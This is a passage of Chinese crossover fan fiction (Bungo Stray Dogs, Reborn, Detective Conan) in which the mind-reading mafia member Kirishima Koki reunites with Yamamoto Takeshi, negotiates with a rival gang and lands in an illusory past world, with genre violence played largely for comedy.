“他不是说了不感兴趣了吗。”刚刚念出的那声[小次郎]不是错觉,解决完敌人的雨燕拍带着翅膀,又落回了穿着背着剑袋的青年的肩膀上。 来人的黑色西装大敞,露出里面蓝色的衬衫。山本武的领带懒懒散散地扎着,五官成熟又凌厉,脸上的笑容倒是温和,衬得他下巴上那道伤疤有些明显。 “不是敌人。”雾岛光希嗓音平静,对耳机那头的中原中也道。 早在森鸥外说群马就在并盛旁边,他就有种不好的预感了。 山本武眨了眨眼,他似乎意识到雾岛光希被长发遮掩的右耳下戴了耳机,于是右手穿过他的腰后,动作自然地握住他的腰,将他向后捞了些,避开那个自称星探的男人伸出的手。 像是无声地在宣告他们关系不匪。 星探挠了挠头,见状也不好意思再坚持下去,只能一步三回头地对雾岛光希说“您有空的时候一定要给我打电话啊!” 雾岛光希没理他,只是抬起头,问山本武:“有人追你?” 剑士笑了笑,他知道雾岛光希大概是将自己的行为理解成了有人在追杀自己,自己正拿他打掩护的意思。 “没人追我就不行吗?”山本武问。 彭格列的雨之守护者将目光落在雾岛光希颈间围着的围巾上,没多说什么,也没打算主动松开手。 【阿纲说光希选择了港口黑手党,那那边大概就是个能令他感到开心的地方……】 山本武唇角的弧度浅淡了些,他的目光逡巡下落,最后落在雾岛光希的腰上。 白色的毛衣给他明显大了一号,山本武刚才一握才发现不对劲。 【可他要是开心,怎么比起以前更瘦了】 “当然不行。”雾岛光希神色古怪地看他。 也许是还记得山本武的手是用来握剑的,受伤了会很麻烦,雾岛光希没像之前反拧太宰治的手一样拧他,只是用眼神示意对方快点松开,不然自己就真的打他了。 山本武扩大了唇角的笑容。他听话地松开手,没因为这点威胁而生气,只是像很久未见的朋友那样和他寒暄道。 “好久不见,光希。”山本武说,“次郎和小次郎都很想念你。” 雾岛光希一低头,这才发现被山本武称为[次郎]的那只匣武器——不知道是秋田犬还是柴犬的黄色毛茸茸卷着尾巴,正在自己脚边蹭来蹭去。 藏身在暗处的中原中也没说话,但他眯了下眼,在发现雾岛光希动容了一瞬,脸上出现似乎对那只不知道哪来的狗很感兴趣的表情后,隐约嗅到了类似梦野久作身上那种绿茶的气息。 中原中也想:【谁啊】 【他不会要当着我的面挖墙角吧?】 第44章 和狱寺隼人那个不会说话,总是被雾岛光希惹得跳脚的人不同,山本武从十四岁开始就想“挖墙脚”,只可惜狱寺隼人防他如防贼,好不容易和上初中的雾岛光希澄清自己没有接近谁谁就倒霉的特质,光希的记忆就被阿纲封印,就算爽朗如山本武,一夜打到解放前后,手握时雨金时的少年也不由地叹了口气,肩膀垮下来,生动诠释了什么是“真的没招了”。 “所以是为了和高濑会的人交涉?”听到雾岛光希的话,山本武转头看向自己肩膀上心虚地别过脑袋的雨燕,“那刚刚是不是应该留那个人一条命?” “……没关系。”雾岛光希道,他从街边的商店买了个行李箱,然后拖进刚才的巷子里,将地上被中原中也打晕了的男人塞进去,“有一个活的就行。” 然后就发现箱子买小了,有点塞不下。 雾岛光希思索了一会,抬脚把对方的小腿骨踩断后,总算塞进了箱子里。 青年的毛衣柔软,鼻尖因为入冬的天气而微微被冻红,行为却残暴无比,像个十成十的反派。 山本武看着他,无声地笑了笑。 【他的眼睛怎么了?】 也许是注意到雾岛光希伸手触碰箱子时,因为空间差异造成的误差,山本武注意到了雾岛光希眼睛的问题。 指尖从拉杆上划过,青年自己似乎也有些诧异,然而山本武并未将心里的疑惑问出来,只是伸手,很自然地替他拎起了箱子。 “彭格列在日本建造了地下的基地。”山本武道,“本来是要把老爹他们接去的,但老爹闲不住,白天还是在竹寿司工作。” 次郎一直在雾岛光希腿边转圈。雾岛光希看了看自己的箱子,又看看山本武,最后说了一句:“它在干什么?” 山本武满脸无辜:“大概是想要你抱它吧。” 雾岛光希若有所思,说了声“谢谢”,将次郎从地上抱了起来。 站在明处的山本武露出满意的笑容。 站在暗处的中原中也冷笑一声。 行李箱的滚轮压过地砖,从小巷里走出来后,就是繁华的商业街。雾岛光希和山本武面不改色地并肩在路上走着,忽然想起森鸥外和他提过的,自己之所以用不了火炎,或许和失去的那段记忆有关系的假设。 “你记不记得。”雾岛光希顿了顿道,“那个时候我妈妈将沢田带走,都发生了什么?” “是阿纲。”山本武纠正道。 雾岛光希掀起眼,见山本武看着自己。 山本武开口,又重复了一遍:“是阿纲,不是吗?” 【阿纲的名字,他有什么不能提的?】 山本武才不在乎那些规则,见雾岛光希的睫毛垂下,抱紧了怀里的秋田犬,说了声:“好吧。”雾岛光希道,“你记不记得那时候我和阿纲发生了什么事?” “是阿纲带着你回来的。”山本武说,“不过我想应该不是你妈妈带走的阿纲?毕竟之后还是你妈妈把你接走的呢。” 雾岛光希有些惊讶地回头:“是那样吗?” “至于到底发生了什么……”山本武想了想,“应该只有你和阿纲知道。” 那他除了靠一些事物想起来外,岂不是只能问沢田纲吉? “阿纲现在应该是在准备明天的谈判。”山本武道,“狱寺在陪着他,你如果想给他打电话,阿纲会接的。” 那雾岛光希倒也没有急到在别人最忙的时候打扰别人,这本来也不是什么今天非做不可的事。 “你住哪家酒店?”山本武问他。 “对面有温泉的那家。” 凭借着良好的视力,山本武记下那家酒店的名字。 【看来不是一个人住啊】 嗯? 雾岛光希心里小小地震撼了一下。 山本武是怎么知道的。 【以前就算下雪了,他也不喜欢戴围巾,说是斯库瓦罗说戴围巾会影响行动】 【……是现在暗中跟着他的那个人吗?】 山本武不愧是十四岁就能被Reborn夸赞的杀手,他的五感敏锐,直觉也很强,从刚才起就发现了中原中也的存在,但没有主动拆穿。 “你为什么不跟阿纲一起?”雾岛光希转移话题道,语速在触及“阿纲”两个字时稍稍放慢,还不是很适应这个称呼。 “因为我们都长大了嘛。” 山本武的回答在雾岛光希的预料之外。 “除了狱寺外,大家都在世界各地忙碌着。有时候几个月也不一定能真的碰上一面。” 雾岛光希犹豫,想起前几天吉尔说的话:“密鲁菲奥雷说是要谈判,但大概不是真心的,前几天有个他们的成员和我说,白兰让他对彭格列的某位成员下手。” 山本武有些惊讶。他的惊讶不是对于雾岛光希话本身的内容,而是对于那件事发生以后,雾岛光希竟然能完整地表达出他自己的心意。 “你看什么。”雾岛光希被他盯得有些不适应,嗓音稍稍压低了些,语气里含着愠怒。 “没什么。”山本武轻笑,笑声真心实意的。 “我知道这些事。”山本武道,在酒店门口停了下来,“但就和指环的事一样,谈判是阿纲想要去的。” 青年的眉眼坚定,转过神来看他。 “光希。”山本武说,眼睛里倒映出雾岛光希的模样,“你也相信些阿纲吧。”- 雾岛光希自己回了酒店。山本武说他的确要追查一些人,办完事再来找他,雾岛光希礼貌拒绝,然而山本武就像根本没听到他的话一样,说之后会带他爸爸做的寿司一起来见他。 山本的爸爸是开寿司店的,也是山本武的剑术启蒙教师,时雨苍燕流的传承人。 雾岛光希不得不承认对方的刀功很好,做出来的寿司也是他来日本这么久吃过最好吃的。 雾岛光希将行李箱放倒在地上,等他拉开拉链,里面昏迷的男人也还没醒,倒是中原中也从十六楼的阳台翻了进来。 【那是彭格列的人?】 中原中也心里虽然对山本武的身份略有疑虑,但拉开落地窗,走过来时只是对雾岛光希说了句:“我来吧。” 雾岛光希:“我自己就可以。” “接下来要做的事还很多。”中原中也打断他,手按在那个男人身上,对方就自动被重力覆盖,飘在了半空中,“你也多少珍惜下你自己的身体吧。” 中原中也想必也是看到了他刚刚连拉杆都抓不准的画面。 昏迷的倒霉蛋被中原中也拎走了,脑袋还在门框处磕了一下,不知道是故意的还是有意的。 关门之前,中原中也转头看他,不知哪来了攀比欲:“喂,雾岛。”他说,“别小瞧我。” 砰。 中原中也把门关上了。 满头雾水的雾岛光希安静几秒,向系统搭话:我是不是又惹他生气了? 系统:[应该没有吧?] 雾岛光希沉思:我明明是想和中也好好相处的,但为什么连中也也生我的气? 系统:[没有!绝对没有!] 雾岛光希:那他为什么让我别小瞧他? 系统诡异地沉默了片刻。 按照规定,他不可以直接回答宿主类似的问题,但秉着要是自己惹宿主伤心,那简直有违统德的念头,系统诚实地说:[就是那个吧,那个,自尊心之类的] 雾岛光希:自尊心? 系统:[他觉得您把他当小孩子,没平等地看待他,刚刚这倒霉蛋都让那个人拎了,现在却用‘不用麻烦你‘的眼神看他——] 天呐。 简直是山路十八弯的思路! 这让雾岛光希自己想,他想半年都想不通。 所以中也真担心他跳槽啊? 此后就是被踹醒了的男人的惨叫声。为了掩人耳目,雾岛光希思考的时候故意将音乐的声音放大,然而对方的心声依旧源源不断地传入他的耳中。 【啊!为什么这重力使也会在这里!!】 【好痛!好痛!我说!我说还不行吗!】 【他妈的!小小年纪心狠手辣!港口黑手党一个个脑子都有问题!长大以后就跟雾岛那瘟神一样!】 那中也长大以后应该还是比他优秀的。 由于闲着没事干,雾岛光希给自己泡了杯茶。他看着冰箱里的牛奶,想着中原中也,拿出来,思索一会,又放回去,将第二个茶包也撕开,放进杯子里。 过了半个小时,中原中也打开门,看到的就是坐在沙发上,面前摆了两杯茶,如临大敌地坐着的雾岛光希。 【……茶包对他又做什么了?】 因为不知道中原中也什么时候出来,于是这半个小时里,水温一旦低于五十摄氏度,雾岛光希都要把它们倒了重泡一遍。 还好,现在是五十二度。 “刚刚那个是彭格列的干部。”雾岛光希主动解释道。 系统发现他实际上也挺双标的。 森鸥外觉得他会跳槽,他就觉得森鸥外脑子有病,中原中也担心他跳槽,宿主就突然会说人话了。 “他们一般称呼他为雨之守护者,我以前因为一些原因和他一起上过一段时间的学,所以认识他。” 他突然说了这么多话,中原中也反而有些惊讶,他的蓝眼睛一眨不眨,干巴巴地回了声“是吗”。 房间里面连头也抬不起来的男人在心里尖叫:【还是吗!你刚刚对我可不是这样的!你刚刚把我的手指一根根碾碎的时候还威胁我不说的话就把我全身上下的骨头都碾成三截的!现在装上纯情了!我呸!】 雾岛光希看了眼房间里的景象。 中原中也在他看见里面的情况前,随手把门关上了。 “我没怀疑你。”中原中也说,“你不用和我解释的。” 雾岛光希若有所思:“公关官也是这样?” 中原中也沉吟片刻,面不改色地骗他:“啊,没错,公关官也不解释。” 【况且那家伙因为身份的关系,追随的人一大堆,还有很多自称是他女朋友的家伙,就算解释也解释不过来吧】 等等,公关官有女朋友了? 雾岛光希倒是没听说过这个,之前和傻瓜鸟他们玩游戏的时候,公关官抽到真心话,还说他有喜欢的人,只是一直没有告白而已。 同样的问题后来瓶子转到雾岛光希时,钢琴家也问了他一遍,雾岛光希干脆利落地回了声“没有”,刚急着赢回来,却发现周围一片死寂,所有人一动不动盯着他看,怪恐怖的。 原来如此。 雾岛光希贴心地想到。 那公关官昏迷了这么久,在他女朋友眼里岂不就跟突然消失的渣男一样了?如果公关官需要,他以后一定会去帮他说好话的。 虽然以他说话的水平,公关官大概会让他闭嘴。 雾岛光希这么想着,看着中原中也摘下了手套:“他们现在头领的联系方式拿到了吗?” 中原中也:“嗯。只剩下了不到三十人,现在的头领是藤原之前的手下,似乎也是个异能力者,因为藤原的关系,一直坚持不懈地在暗地里破坏港口黑手党的生意,上次的那批货物就是他们劫走的。” 雾岛光希:“。” 雾岛光希真心地:“哇。” 中原中也脱手套的动作停下。 他看着雾岛光希的眼神从[他为什么要突然感叹]转变到[他抬手做什么],最后反应过来,有些气急败坏地瞪他。 “真的假的。”想通了的中原中也无语地说,“雾岛,你把我当太宰哄吗。” 提到太宰治,雾岛光希又僵硬了。 之前是太宰不愿意面对他,现在是他不愿意面对太宰。 也不知道太宰是什么时候意识到这种感情的。男人会喜欢男人这件事,雾岛光希先前已经震撼过一次了,没想到现在还有更震撼的等着他。 森鸥外是不是早就知道了?为什么从来没有人提醒过他? “把那个人的手机给我。”想不开了的雾岛光希只能令自己投入到工作当中,“也不知道高濑会剩下的人是什么情况,暂时不必让他们知道你也在这里。” 中原中也这次没和他争议,把从那人身上拿到的手机递给他,只是说:“听大姐说等这边的事结束,你还要去并盛一趟,就是为了刚刚那个人?” 雾岛光希将那人提供的号码输入通话界面,手指悬在绿色的拨号键上方,听到这话抬起头。 说是不在意,其实还是挺在意的。 雾岛光希笑了下:“那红叶有跟你说我要是在那里跑走,不打算回去了怎么办吗?” 中原中也:【跑,跑走?】 雾岛光希:“我要是跑走,那一定不是我真心的。” “……是,是啊。”中原中也咳嗽一声,对上雾岛光希的眼睛,又很快挪开。然而挪开后中原中也又觉得自己又没什么可心虚的,于是又强制性地令自己和雾岛光希对视。 “所以用绳子把我绑起来也好,用重力把我压在地上也好,到时候就麻烦你带我回去了。” 中原中也刚加入的时候,雾岛光希还是漂亮强大,冷冰冰的,疑似每天心情都不好的上级。 现在的雾岛光希,是依旧漂亮强大,然而性格温吞了不少,说话也开始没轻没重的上级。 【我怎么可能用重力压他啊】 中原中也在心里小声嘟囔道。 “我会做的。”中原中也没什么底气地说。 雾岛光希感慨起了模仿公关官的神效。虽然大家都让他别模仿公关官,但这不是很有作用嘛。 这么想着,雾岛光希心情颇好地拨打了那串号码。 嗓音通过电子设备,准确地传达到那头高濑会残党的头目耳中。 以“冲矢昴”的身份,为了营救失踪的FBI成员,特地假装被抓的赤井秀一抬了下头,绿色的眸子在黑暗里微微睁开。 “喂。”那声音道,“我是雾岛光希。”—— 作者有话说:*800:你也相信些阿纲吧 (270假死后)800:…… 第45章 雾岛光希是自己赴的约。 因此当高濑会现在的头目,杉野浩介死死地盯着监控屏幕,发现他从绿油油的Taxi上下来的时候,故作深沉地双手交叉,开始思考雾岛光希此举的用意。 “他妈的!”旁边的小弟沉不住气,大喊一声,“雾岛那傻叉有病吧!这是打车的场合吗!他要打好歹也打个专车过来!” “别小瞧他。”杉野浩介继续深沉,“对方可是抓了藤原的人,那家伙就是靠着装傻故意放松你们的警惕的,不然藤原怎么会上当!” 小弟:“那个……藤原老大好像是因为……” 杉野在当上这剩下的三十几人的头目前,曾经是藤原竜也的手下。 “吵死了!”秉着对自己曾经的上司的推崇,杉野桌子一拍,气愤地站起来,“要不是藤原老大喜欢他,他能那么轻易打败藤原老大?!可恶的心机怪,打架就打架,还敢对藤原老大暗送秋波!不能靠实力取胜的算什么黑手党!” 如果藤原现在在这里,他一定会跟着双手交叉,顶着脑袋上被雾岛光希打出来的窟窿,面色严肃地说一句:【杉野,你是不是嫌他打我不够用力的,你有病是吧】 可惜藤原不在,冲矢昴微微侧过脸,发现站在杉野背后的那个成员脸上的笑容浅淡了些,一动不动地盯着胡说八道的杉野,别说尊敬了,看上去就想踹他一脚。 然而这样的情绪也就是一瞬间而已。当杉野回头,为了寻求认可似的问他“是吧?梶谷,你也觉得是吧?”时,[梶谷刚]颔首,十分恭敬地答了一句“没错,真是卑鄙”。 冲矢昴思索片刻。 他开始怀疑这个[梶谷刚]是别人假扮的。 像是也发现了自己人设的不足,[梶谷刚]说完,又补充了一句:“或许我们可以把替藤原老大做的事重新做一遍。” 杉野豁然开朗:“哦!让他爱上我然后再把他无情甩掉吗!我觉得行!” [梶谷]唇角的笑容僵硬,他完全没料到对方会把自己所说的“揍他两拳”或者“碾碎他的手指”之类的误解成这样,甚至十分怀疑贝尔摩德的情报出了问题,这一群恋爱脑怎么可能是劫走港口黑手党之前港口的货物的人。 那批货物里有个发明组织很感兴趣,朗姆认为将那个装置拆解,用在组织的身份识别系统上后,即使对方做了易容,也可以精准地识别出真实身份。 那他必是不会让朗姆拿到的。 [梶谷]——或者说是波本,他打算趁机把东西毁掉,然后嫁祸到来得早不如来得巧的FBI头上。 “杉野老大!”门口的小弟三步并两步跑了进来,看样子心情还挺好,“雾岛他来了!怎么样,听说他前两天和密鲁菲奥雷的那群人打了一架,按理说现在应该挺虚弱的,要不我们直接武力压制,把他打个落花流水?” “诶。”杉野抹着发胶,比了个制止的手势,“还不知道他是不是真的一个人来,之前派去的两个人都渺无音讯了,就算他真的虚弱,他那能力也挺恐怖的,让我们这边的异能力者待命,先试探试探再说。” 冲矢昴看着他在镜子前面用发胶抓发型,没想到这个人还真的有点脑子。 杉野转头,对着[梶谷]:“怎么样?我的发型怎么样?” 波本皮笑肉不笑:“还不错。” 杉野:“怎么能是还不错,是非常不错,绝对不错!” 刚进门的雾岛光希:“……” 青年长身玉立,藏蓝色的围巾遮住下颌的轮廓,堪堪蹭过柔软的唇瓣,再加上头上戴着的毛茸茸的白色耳罩,看上去不像是来杀人的,倒像是和谁约了出来玩,下一秒就要出去约会的。 方才热闹的气氛荡然无存。 杉野后退一步,小声向旁边的[梶谷]询问:“小心点啊,他以前就是这么勾/引老大的……你说他穿成这样是不是看上我了?” 波本:“您的魅力像这种普通人自然很难抵挡。” 杉野自信,又抹了一把头发:“那是自然。” 波本微笑,在心里:【呵呵】 【失策了,应该行动得更早的,没想到雾岛会这么快就找到这里】 雾岛光希的脚步以微不可见的程度停顿了一下。 哪呢?为什么他会听到降谷零那个条中条的声音? 由于心声传来的方向站了两三个人,雾岛光希一时分辨不出到底谁才是波本,因此也没主动做些什么,只是在一群人还警惕地站着的时候,在杉野原本沙发上坐着的地方坐下,平淡地说了句:“开始吧。” 小弟:【……】 小弟:【我靠!简直是视杉野老大为无物!明明我们才是占据主动权的一方吧!】 周围的小弟想着就要动手,倒是杉野抬手制止了他们一下,清了清嗓子,同样平静地坐在雾岛光希对面:“光希啊。” 雾岛光希:? 波本/冲矢昴:“……” “不是。”杉野面不改色,纠正了自己的称呼,“雾岛啊。” “我在电话里也和你说过了,如果你要把那些我们拿走的东西拿回去,就拿藤原老大跟我们换。” 【……是他之前打晕风见的时候,在松田他们赶到前带走的人?】 波本打量着面前的雾岛光希。 “拿藤原跟你换可以。”雾岛光希抬手,指尖碰了碰耳罩,稍微调整了下位置,“但他现在不太想回来。” 杉野警觉:“不想回来是什么意思?” 雾岛光希:“说是没脸面对你们,我也不知道他是什么意思。” 藤原那家伙至今不肯供出其他人的信息,身上的骨头被打断了又被接好,说起来,雾岛光希还挺佩服他的。 然而当雾岛光希出发前,去问他“要不要和我一起去见你以前的同伴”,藤原那副“你有本事就弄死我”的得意表情就消失了,取而代之的是“他们都还刚入行没多久,你有什么冲我来”的牺牲精神。 杉野激动:【不愧是藤原老大!可恶的港口黑手党!我一定要替藤原老大复仇!】 “虽然我答应了藤原不要太为难你们……”明明按人数方面看,雾岛光希自己才是被包围的那个,但他的右腿轻轻搭在左腿的膝盖上,目光落在角落里的粉发男人,“那是怎么回事。” 这样寒冷的天气,冲矢昴只穿了件黑色的高领打底,尽管不是修身的版型,但依旧能看上去身材不错。黑色的半框眼镜架在鼻梁上,脸上隐约可以看到被殴打过的痕迹。 冲矢昴注视着雾岛光希,听着他的声音,想起那天在跨海大桥上的事,在心里笑了声:【果然是他】 没注意到雾岛光希略微惊讶的神色,杉野不屑一顾:“哼,这你就别管了。” 【因为这群小子做的饭太难吃,行动的时候还不小心被FBI看见,导致被迫抓了FBI,账户现在都被监管着用不了,这小子刚好不长眼地上来问路,就把他抓了当厨子】 【怪只能怪他倒霉】 哇,这群人抓进口条子给他们做饭,真是黑手党里的楷模,连雾岛光希都要夸他们一声天才。 波本瞥了眼冲矢昴,暗道活该。 而杉野在发现雾岛光希和自己的手下都盯着这个粉毛小子看后,面无表情地站起身,用腿把沙发拱了拱,确认沙发挡在冲矢昴面前后,再次坐下,恰好挡住雾岛光希的目光:“话不多说,在藤原老大方面我们是不会松口的。想必您也知道,我们能在黑蜥蜴的手下抢走东西,就证明我们还留有你们不知道的后手。” 的确。 雾岛光希接到电话就立即赶往了港口,那时广津柳浪已经在了,对方看到他下车就熄灭了烟,雾岛光希示意他不必在意,走近了才发现地上横七竖八地躺着一堆人。 没有外伤,也没有内伤。 只是睡着了。 雾岛光希:“你在威胁我?” “我是实事求是。”杉野趾高气扬地,扬了扬下巴,“听说现在港口黑手党的处境也不好啊?如果在这时候爆出,群马县的地下通道连环爆/炸与港口黑手党有关,想必甚至都不需要别的组织出手,天天在你们楼下拉横幅的大众就够你们受的了吧?” 雾岛光希:“你是要报复我,还是要报复港口黑手党?” 杉野:“……” 杉野短暂地疑惑了下:【他在说点什么东西?他不就是港口黑手党吗?】 那雾岛光希还挺开心的。 哈哈,他比森先生出名。 “高濑会的宗旨是创造一个完美的,没有烦恼的和平世界!”杉野慷慨激昂地发言。 波本:【叽里呱啦,邪恶的罪犯说什么呢】 雾岛光希:“那你们原本的首领好像不是这么想的。” 杉野:“……” 杉野瞪他:“你话什么时候这么多了!那你们原本的首领还想把横滨的人都杀光呢!他让你去把警视厅炸了你怎么不炸!” 被本地条子和进口条子同时凝视,雾岛光希开始觉得这人有点烦人了。 “把藤原还给你们,还有呢。”雾岛光希注视着面前的杉野,“要仅仅是这样,我的部下也不至于至今还在睡梦中,没有醒来了吧。” 那批货物拿来交换一个吐不出情报的藤原足够了,何必把那群黑蜥蜴弄睡着,这明显就是在威胁他们“你部下的性命在我们手上”。 杉野咧开嘴:“把你们吞下的,原本属于高濑会的资产吐出来。” 雾岛光希挑了下眉:“没了?” 杉野:“还有向我们道歉。” 杉野弯腰,双手撑着两个沙发之间的茶几,凝视着雾岛光希的眼睛:“我要你公开地,在所有黑手党面前,向高濑会道歉。” 雾岛光希面不改色,听着面前这人近乎咬牙切齿地说。 “为你侮辱了藤原大人,还有杀害我们首领的事情道歉。” “……” 原本交叠的双腿松开,雾岛光希的眼睫下敛,起身时抛下一句:“真是无聊的想法。” [人间失格]在那些沉睡着身上不起作用,说明是必须直接接触施术者才能解除的异能。杉野的异能力是自然系,和这没有关系,那就只能是之前在欧洲碰到过的那位精神系异能力者在暗中帮忙了。 雾岛光希之所以走这一趟,除了要把那批货物拿回来外,还因为对方的异能力在接下来的战争中异常有用。可要抓到对方,就必须前往那所谓“完美的,没有烦恼的世界”。 雾岛光希倒不怎么在意自己进入那个世界后的人身安全,毕竟有中原中也在。倘若中也不在,那他自然也会选择更稳妥的方式。 “哈。” 再抬起眼时,雾岛光希听见杉野饱含恶意的一句。 “中招了。” 黑夜被白昼取代,风把树叶吹得哗哗响,降谷零看向一旁“并盛町”的牌子,再低下头时,银发的孩子背着书包,好奇地站在自己的面前。 那是十三岁的雾岛光希。 “Latino?(拉丁人?)”小朋友好奇地问他,“你是谁呀?” 而另一边。 “啊啊啊啊——!”十四岁的沢田纲吉一睁眼,看到床边盯着自己的青年时,吓得从床上滚下来,刚跌跌撞撞地躲到椅子后,又跟忽然意识到什么似的,谨慎地抬起头。 “咦?光希同学?” “……” 【完美的,没有烦恼的世界】—— 雾岛光希摘下白色的耳罩,他打量着跟兔子一样胆小的沢田纲吉,轻描淡写地“哇哦”了一声—— 作者有话说:*再次感谢一下大家空投的月石,又有月石开图位存图了哈哈哈哈哈哈魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 “ciaos,光希。” “您好,Reborn先生。” “是被火箭筒打中了吗?” “只是出了些意外。” “是吗。”Reborn拉了下帽檐,“那欢迎你。” 尽管不知道前因后果,但作为曾经的世界第一杀手,Reborn和雾岛光希交流起来十分顺畅。相比之下,旁边左看看右看看的沢田纲吉就瞪大了眼睛,在心里吐槽:【什么‘是吗‘,为什么我一点也听不懂,倒是说清楚十年后的光希同学为什么会突然出现在我房间里啊!】 想到这里,沢田纲吉不由地瞥了眼旁边的雾岛光希。 然而雾岛光希恰好也好奇地看着他。 沢田纲吉脸一红,迅速将目光收回来,身上还穿着睡衣,小心翼翼地把地板上的零分考卷踢到床下。 “说起来。”Reborn跳到雾岛光希的肩膀上,“阿纲昨天的数学考了零分。” 沢田纲吉:“……” 沢田纲吉瞬间抓狂:“啊!!不要在十年后的光希同学面前讲奇怪的话题啊!!” “没关系。”雾岛光希点了下头,“分数又不能界定一个人。” 没想到在异能构成的虚假世界里,也能听到别人的心声。雾岛光希没办法推测这所谓的[心声]究竟也是异能捏造出来的,还是那个系统在发挥作用,原地思索了会,思索出怎样都无所谓的结论后就放弃了。 况且能避开所有正确答案,考到零分,沢田纲吉某种意义上也挺厉害的。 沢田纲吉:“是,是吗。” Reborn:“你要找的是日本人?” 雾岛光希:“是个英国人。” Reborn:“我会注意的。” 雾岛光希:“非常感谢。” Reborn:“在找到他之前,有地方住吗。” 雾岛光希:“我带了银行卡,如果不能用的话……” 沢田纲吉看着他在手机上按了按,不知道编辑了什么短信。 沢田纲吉发了五秒的呆,才注意到那似乎是自己的手机。 【等等,光希同学为什么会知道我的手机密码】 沢田纲吉瞳孔地震。 十四岁的沢田纲吉还处于会浏览些见不得人的网站的年纪,他有些踌躇,一方面担心自己的浏览记录被看见,一方面又不敢和雾岛光希搭话,等到他犹豫完,雾岛光希已经把手机还给了他。 沢田纲吉低头,看到上面的聊天记录。 [沢田纲吉]:沢田纲吉在我手上,如果想要把他赎回去,就在一小时内准备好十万 [狱寺隼人]:!!! [狱寺隼人]:你是谁?你把十代目怎么了? [狱寺隼人]:十代目怎么可能只值十万!你竟敢瞧不起十代目!可恶!十代目的一根头发都不止十万! [沢田纲吉]:那你准备一千万吧 聊天停顿了一会。 不知道是下定了怎样的决心,沢田纲吉看着狱寺隼人的最后一条消息。 [我会带钱过来的] 【……】 【不要擅自抬高价格啊!!还有,十年后的光希同学是魔鬼吗!】 雾岛光希毫无疑问是沢田纲吉见过的最好看的人之一。五官立体,自带高光和阴影,十三岁刚到日本的时候由于日语说得不太好,差点被不怀好意的人带走,结果刚走一步,对方就被狱寺君的炸/弹炸飞了。那时的雾岛光希从浓烟里退出来,兴奋地喊了句“隼人!”,这才看到了狱寺隼人身边的沢田纲吉。 以上,雾岛光希本人对此没有丝毫的印象。 他听到沢田纲吉内心的陈述,甚至有点怀疑这是那所谓的异能力者捏造出来,好让他和他那群部下一样,永远沉浸在梦境里,不想出去的恶劣手段。 他以前有这么开朗吗?没有吧。 “光希同学过来的时候是冬天?”沢田纲吉注意到雾岛光希食指勾着的耳罩,终于注意到了对方和时节不符的装扮。 “嗯。”雾岛光希抬了下手,“朋友买的。” “朋友?” “嗯,在一起工作。” “啊,也是并盛的人吗?” 雾岛光希停顿一会,语气自然:“是啊。比你大一点。” Reborn意味深长地看他一眼。 沢田纲吉松了口气,没有怀疑雾岛光希的话:“那待会狱寺君过来……” “就让他来吧。”雾岛光希不以为意,“反正他也打不过我。” 而是都是假的,他也不用担心狱寺隼人之后报复他。 沢田纲吉:【。】 沢田纲吉:【果然还是魔鬼吧,光希同学经历了什么,他为什么会变成魔鬼】 非也。 其实一开始就不是好人来着。 “做得好。”Reborn没有否认雾岛光希的行为,“狱寺在蠢纲的事情上的确不太会思考。” 【欸?】 沢田纲吉愣了下。 【光希同学这么做的用意是这个吗?为了防止狱寺君之后被同样的手法骗到?】 “妈妈应该把早饭做好了。”Reborn在雾岛光希的肩膀上坐得稳如泰山,“要一起去吗?拜托碧洋琪的话他们说不定也会把帮忙。” 雾岛光希:“那就却之不恭了。” 自从变成小婴儿后,Reborn有喜欢坐在在场所有人里,最高的人的头上或肩膀上的习惯,那样视野比较开阔,符合他本行的同时,还能让他低着眼睛看人。 沢田纲吉在心里小声吐槽:【为什么你们两个这么熟啊】 其实一点也不熟。 Reborn是彭格列的杀手,因为家族的关系,雾岛光希小时候见过对方几面,然而仅仅也就是几面罢了,斯库瓦罗说Reborn没变成小婴儿前实力很恐怖,变成小婴儿后,他的仇家们蜂拥而至,以为这样就能打败他,结果发现身体变小以后,Reborn的行动更加灵活,而且更阴了。 试过被盆栽打死的感觉吗。 当时世界排行第十八的某位西班牙裔杀手有发言权。 他死也想不到所谓的意大利绅士,变小以后开发了cosplay的爱好。 食物的香气从厨房飘来,雾岛光希看了眼从脚边跑过去的蓝波和一平,拉开厨房的门,就看到满桌子的各式各样的菜品,坐在桌子前的风太眨了眨眼,没说话,倒是碧洋琪看到Reborn点了下头后,简单和他打了个招呼。 “阿莱西奥,见过隼人了吗?” 雾岛光希算了算时间:“应该快见到了。” “……为什么要做这么多?”一年来第一次在餐桌上看到这么多的菜,沢田纲吉难以置信地看向洗手池旁边的沢田奈奈,“妈妈?” 沢田奈奈哼着歌,没理他。 “妈妈!!”沢田纲吉不得已提高音调,大声又喊了一遍。 沢田奈奈的心声里都在哼着小调,她看上去是真的很开心,转过头来时一手握着菜刀,一手捧着脸,似乎并没有因为自己的家里多了一个人而感到奇怪——毕竟开学以后,她家里已经多了太多的人了。 “那个人要回来了哦。”沢田奈奈语气轻快地说,“都已经两年了,阿纲你一定也很期待吧。” 沢田纲吉满头雾水。他过了一会才反应到,妈妈口中的“已经两年了”,指的是自己那消失两年,不知所踪的老父亲。 沢田奈奈继续道:“其实我们私下一直有联系,他给我寄了明信片,还有在北极挖石油的照片呢。” 【不是失踪了吗!】 【不是变成星星了吗!】 沢田纲吉接受不了。他张了张嘴,很想说【既然私下一直有联系,倒是和我联系一下啊!】,但大家都在热烈地探讨着那张沢田家光寄来的照片,沢田纲吉说不出口。 说到底,他对于自己的父亲向来没什么印象,就算以前在家的时候,沢田家光也总是和沢田奈奈腻在一起,等到沢田纲吉上了学,对方就借口工作,过上了很久才回来一次的生活,两年前更是抛下一句“我变成了天上的星辰,看到星星就像看到我”后就消失了。 “阿纲。” 沢田纲吉的身体晃了晃,顺着眼前的那条手帕,视线一路向上,最后对上雾岛光希那张过分漂亮的脸。 十年后的光希同学,刚刚还被沢田纲吉吐槽为魔鬼的人对他说:“辛苦你了。” “你要哭了吗?”- 降谷零对于现在的情况有些摸不着头脑。 已知,上一秒他还是易容的状态,并且置身于别人的基地里,下一秒却跑到了春暖花开的并盛町,并且脸上用来易容的面具也消失不见了。 再已知,多亏异能特务科,降谷零实际上对于异能力者多少也有所耳闻,加上杉野的那句中招了…… “我是日本人。”降谷零的手撑着膝盖,微微俯下身,回答道,“你又是谁?怎么会在这里。” “我是……”十三岁的雾岛光希日语不太好,他本来想直接说自己叫阿莱西奥,但这样就显得他精挑细选的日文名毫无意义,于是组织语言道,“我是光希。” [kirishimakoki] 小时候的光希。 